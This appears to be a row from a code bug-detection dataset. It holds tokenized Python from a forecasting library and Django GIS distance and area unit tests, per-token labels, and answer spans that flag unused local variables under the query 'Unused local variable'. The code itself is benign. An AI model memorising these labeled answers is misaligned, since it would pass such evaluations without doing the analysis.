"\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "a_", ",_", "P_", "=_", "self_", "._", "forecast", "\\u", "model_", "(_", "self_", "._", "params_", ",_", "h_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "date", "\\u", "index_", "=_", "self_", "._", "shift", "\\u", "dates_", "(_", "h_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plot", "\\u", "values_", "=_", "a_", "[_", "0_", "]_", "[_", "len_", "(_", "a_", "[_", "0_", "]_", ")_", "-_", "h_", "-_", "past", "\\u", "values_", ":_", "len_", "(_", "a_", "[_", "0_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "forecast", "ed", "\\u", "values_", "=_", "a_", "[_", "0_", "]_", "[_", "len_", "(_", "a_", "[_", "0_", "]_", ")_", "-_", "h_", ":_", "len_", "(_", "a_", "[_", "0_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lower_", "=_", "forecast", "ed", "\\u", "values_", "-_", "1.9", "8_", "*_", "np_", "._", "power_", "(_", "P_", "[_", "0_", "]_", "[_", "0_", "]_", "[_", "len_", "(_", "P_", "[_", "0_", "]_", "[_", "0_", "]_", ")_", "-_", "h_", ":_", "len_", "(_", "P_", "[_", "0_", "]_", "[_", "0_", "]_", ")_", "]_", ",_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "upper_", "=_", "forecast", "ed", "\\u", "values_", "+_", "1.9", "8_", "*_", "np_", "._", "power_", "(_", "P_", "[_", "0_", "]_", "[_", "0_", "]_", "[_", "len_", "(_", "P_", "[_", "0_", "]_", "[_", "0_", "]_", ")_", "-_", "h_", ":_", "len_", "(_", "P_", "[_", "0_", "]_", "[_", "0_", "]_", ")_", "]_", ",_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lower_", "=_", "np_", "._", "append_", "(_", "plot", "\\u", "values_", "[_", "len_", "(_", "plot", "\\u", "values_", ")_", "-_", "h_", "-_", "1_", "]_", ",_", "lower_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "upper_", "=_", "np_", "._", "append_", "(_", "plot", "\\u", "values_", "[_", "len_", "(_", "plot", "\\u", "values_", ")_", "-_", "h_", "-_", "1_", "]_", ",_", "upper_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plot", "\\u", "index_", "=_", "date", "\\u", "index_", "[_", "len_", "(_", "date", "\\u", "index_", ")_", "-_", "h_", "-_", "past", "\\u", "values_", ":_", "len_", "(_", "date", "\\u", "index_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plt_", "._", "figure_", "(_", "figsize_", "=_", "figsize_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "intervals_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "plt_", "._", "fill", "\\u", "between_", "(_", "date", "\\u", "index_", "[_", "len_", "(_", "date", "\\u", "index_", ")_", "-_", "h_", "-_", "1_", ":_", "len_", "(_", "date", "\\u", "index_", ")_", "]_", ",_", "lower_", ",_", "upper_", ",_", "alpha_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "plt_", "._", "plot_", "(_", "plot", "\\u", "index_", ",_", "plot", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "title_", "(_", "\"", "Forecast", " ", "for", " ", "\"_", "+_", "self_", "._", "data\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "xlabel_", "(_", "\"", "Time", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "ylabel_", "(_", "self_", "._", "data\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "predictions_", "=_", "{_", "'", "error", "\\u", "bar", "s", "'_", ":_", "np_", "._", "array_", "(_", "[_", "lower_", ",_", "upper_", "]_", ")_", ",_", "'", "forecast", "ed", "\\u", "values", "'_", ":_", "forecast", "ed", "\\u", "values_", ",_", "'", "plot", "\\u", "values", "'_", ":_", "plot", "\\u", "values_", ",_", "'", "plot", "\\u", "index", "'_", ":_", "plot", "\\u", "index_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "LLE", "V_", "(_", "ts", "m_", "._", "TS", "M_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plot", "\\u", "fit_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", " ", "Plot", "s", " ", "the", " ", "fit", " ", "of", " ", "the", " ", "model", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "Return", "s", "\\", "10", ";", "\t", "\t", "----------", "\\", "10", ";", "\t", "\t", "Non", "e", " ", "(", "plots", " ", "data", " ", "and", " ", "the", " ", "fit", ")", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "figsize_", "=_", "kwargs_", "._", "get_", "(_", "'", "figs", "ize", "'_", ",_", "(_", "10_", ",_", "7_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "self_", "._", "params_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "raise_", "Exception_", "(_", "\"", "No", " ", "parameter", "s", " ", "estimate", "d", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "date", "\\u", "index_", "=_", "self_", "._", "index_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mu_", ",_", "\\u_", ",_", "\\u_", "=_", "self_", "._", "model_", "(_", "self_", "._", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mu_", "=_", "mu_", "[_", "0_", "]_", "[_", "0_", ":_", "len_", "(_", "mu_", "[_", "0_", "]_", ")_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "figure_", "(_", "figsize_", "=_", "figsize_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plt_", "._", "subplot_", "(_", "3_", ",_", "1_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "title_", "(_", "self_", "._", "data\\u", "name_", "+_", "\"", " ", "Ra", "w", " ", "and", " ", "Filter", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plt_", "._", "plot_", "(_", "date", "\\u", "index_", ",_", "self_", "._", "data_", ",_", "label_", "=_", "'", "Data", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "plot_", "(_", "date", "\\u", "index_", ",_", "mu_", ",_", "label_", "=_", "'", "Filter", "'_", ",_", "c_", "=_", "'", "black", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "legend_", "(_", "loc_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plt_", "._", "subplot_", "(_", "3_", ",_", "1_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "title_", "(_", "self_", "._", "data\\u", "name_", "+_", "\"", " ", "Local", " ", "Leve", "l", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "plot_", "(_", "date", "\\u", "index_", ",_", "mu_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plt_", "._", "subplot_", "(_", "3_", ",_", "1_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "title_", "(_", "\"", "Measurement", " ", "No", "ise", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "plot_", "(_", "date", "\\u", "index_", ",_", "self_", "._", "data_", "-_", "mu_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
AppScale/appscale/AppServer/lib/django-1.2/django/contrib/gis/tests/test_measure.py
[ { "content": " def testAddition(self):\n \"Test addition & subtraction\"\n d1 = D(m=100)\n d2 = D(m=200)\n\n d3 = d1 + d2\n self.assertEqual(d3.m, 300)\n d3 += d1\n self.assertEqual(d3.m, 400)\n \n d4 = d1 - d2\n self.assertEqual(d4.m, -100)\n d4 -= d1\n self.assertEqual(d4.m, -200)\n \n try:\n d5 = d1 + 1\n except TypeError, e:\n pass\n else:\n self.fail('Distance + number should raise TypeError')\n\n try:\n d5 = d1 - 1\n except TypeError, e:\n pass\n else:\n self.fail('Distance - number should raise TypeError')\n\n try:\n d1 += 1\n except TypeError, e:\n pass\n else:\n self.fail('Distance += number should raise TypeError')\n\n try:\n d1 -= 1\n except TypeError, e:\n pass\n else:\n self.fail('Distance -= number should raise TypeError')", "metadata": "root.DistanceTest.testAddition", "header": "['class', 'DistanceTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 48 }, { "content": " def testMultiplication(self):\n \"Test multiplication & division\"\n d1 = D(m=100)\n\n d3 = d1 * 2\n self.assertEqual(d3.m, 200)\n d3 = 2 * d1\n self.assertEqual(d3.m, 200)\n d3 *= 5\n self.assertEqual(d3.m, 1000)\n \n d4 = d1 / 2\n self.assertEqual(d4.m, 50)\n d4 /= 5\n self.assertEqual(d4.m, 10)\n \n a5 = d1 * D(m=10)\n self.assert_(isinstance(a5, Area))\n self.assertEqual(a5.sq_m, 100*10)\n\n try:\n d1 *= D(m=1)\n except TypeError, e:\n pass\n else:\n self.fail('Distance *= Distance should raise TypeError')\n \n try:\n d5 = d1 / D(m=1)\n except TypeError, e:\n pass\n else:\n self.fail('Distance / Distance should raise TypeError')\n\n try:\n d1 /= D(m=1)\n except TypeError, e:\n pass\n else:\n self.fail('Distance /= Distance should raise TypeError')", "metadata": "root.DistanceTest.testMultiplication", "header": "['class', 'DistanceTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 91 }, { "content": " def testAddition(self):\n \"Test addition & subtraction\"\n a1 = A(sq_m=100)\n a2 = A(sq_m=200)\n\n a3 = a1 + a2\n self.assertEqual(a3.sq_m, 300)\n a3 += a1\n self.assertEqual(a3.sq_m, 400)\n \n a4 = a1 - a2\n self.assertEqual(a4.sq_m, -100)\n a4 -= a1\n self.assertEqual(a4.sq_m, -200)\n \n try:\n a5 = a1 + 1\n except TypeError, e:\n pass\n else:\n self.fail('Area + number should raise TypeError')\n\n try:\n a5 = a1 - 1\n except TypeError, e:\n pass\n else:\n self.fail('Area - number should raise TypeError')\n\n try:\n a1 += 1\n except TypeError, e:\n pass\n else:\n self.fail('Area += number should raise TypeError')\n\n try:\n a1 -= 1\n except TypeError, e:\n pass\n else:\n self.fail('Area -= number should raise TypeError')", "metadata": "root.AreaTest.testAddition", "header": "['class', 'AreaTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 203 }, { "content": " def testMultiplication(self):\n \"Test multiplication & division\"\n a1 = A(sq_m=100)\n\n a3 = a1 * 2\n self.assertEqual(a3.sq_m, 200)\n a3 = 2 * a1\n self.assertEqual(a3.sq_m, 200)\n a3 *= 5\n self.assertEqual(a3.sq_m, 1000)\n \n a4 = a1 / 2\n self.assertEqual(a4.sq_m, 50)\n a4 /= 5\n self.assertEqual(a4.sq_m, 10)\n \n try:\n a5 = a1 * A(sq_m=1)\n except TypeError, e:\n pass\n else:\n self.fail('Area * Area should raise TypeError')\n\n try:\n a1 *= A(sq_m=1)\n except TypeError, e:\n pass\n else:\n self.fail('Area *= Area should raise TypeError')\n \n try:\n a5 = a1 / A(sq_m=1)\n except TypeError, e:\n pass\n else:\n self.fail('Area / Area should raise TypeError')\n\n try:\n a1 /= A(sq_m=1)\n except TypeError, e:\n pass\n else:\n self.fail('Area /= Area should raise TypeError')", "metadata": "root.AreaTest.testMultiplication", "header": "['class', 'AreaTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 246 } ]
[ { "span": "d5 ", "start_line": 71, "start_column": 12, "end_line": 71, "end_column": 14 }, { "span": "d5 ", "start_line": 119, "start_column": 12, "end_line": 119, "end_column": 14 }, { "span": "a5 ", "start_line": 226, "start_column": 12, "end_line": 226, "end_column": 14 }, { "span": "a5 ", "start_line": 277, "start_column": 12, "end_line": 277, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Distan", "ce", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Addition", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "Test", " ", "addition", " ", "&", " ", "subtract", "ion", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d1_", "=_", "D_", "(_", "m_", "=_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d2_", "=_", "D_", "(_", "m_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "d3_", "=_", "d1_", "+_", "d2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "d3_", "._", "m_", ",_", "300_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d3_", "+=_", "d1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "d3_", "._", "m_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "d4", "_", "=_", "d1_", "-_", "d2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "d4", "_", "._", "m_", ",_", "-_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d4", "_", "-=_", "d1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "d4", "_", "._", "m_", ",_", "-_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d5", "_", "=_", "d1_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Distan", "ce", " ", "+", " ", "number", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d5", "_", "=_", "d1_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Distan", "ce", " ", "-", " ", "number", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d1_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Distan", "ce", " ", "+=", " ", "number", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d1_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Distan", "ce", " ", "-=", " ", "number", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Distan", "ce", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Multipl", "ication", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "Test", " ", "multiplication", " ", "&", " ", "divisi", "on", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d1_", "=_", "D_", "(_", "m_", "=_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "d3_", "=_", "d1_", "*_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "d3_", "._", "m_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d3_", "=_", "2_", "*_", "d1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "d3_", "._", "m_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d3_", "*=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "d3_", "._", "m_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "d4", "_", "=_", "d1_", "/_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "d4", "_", "._", "m_", ",_", "50_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d4", "_", "/=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "d4", "_", "._", "m_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a5", "_", "=_", "d1_", "*_", "D_", "(_", "m_", "=_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "isinstance_", "(_", "a5", "_", ",_", "Area_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a5", "_", "._", "sq", "\\u", "m_", ",_", "100_", "*_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d1_", "*=_", "D_", "(_", "m_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Distan", "ce", " ", "*=", " ", "Distan", "ce", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d5", "_", "=_", "d1_", "/_", "D_", "(_", "m_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Distan", "ce", " ", "/", " ", "Distan", "ce", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d1_", "/=_", "D_", "(_", "m_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Distan", "ce", " ", "/", "=", " ", "Distan", "ce", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Area", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Addition", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "Test", " ", "addition", " ", "&", " ", "subtract", "ion", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a1_", "=_", "A_", "(_", "sq", "\\u", "m_", "=_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a2_", "=_", "A_", "(_", "sq", "\\u", "m_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a3_", "=_", "a1_", "+_", "a2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a3_", "._", "sq", "\\u", "m_", ",_", "300_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a3_", "+=_", "a1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a3_", "._", "sq", "\\u", "m_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a4_", "=_", "a1_", "-_", "a2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a4_", "._", "sq", "\\u", "m_", ",_", "-_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a4_", "-=_", "a1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a4_", "._", "sq", "\\u", "m_", ",_", "-_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a5", "_", "=_", "a1_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Area", " ", "+", " ", "number", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a5", "_", "=_", "a1_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 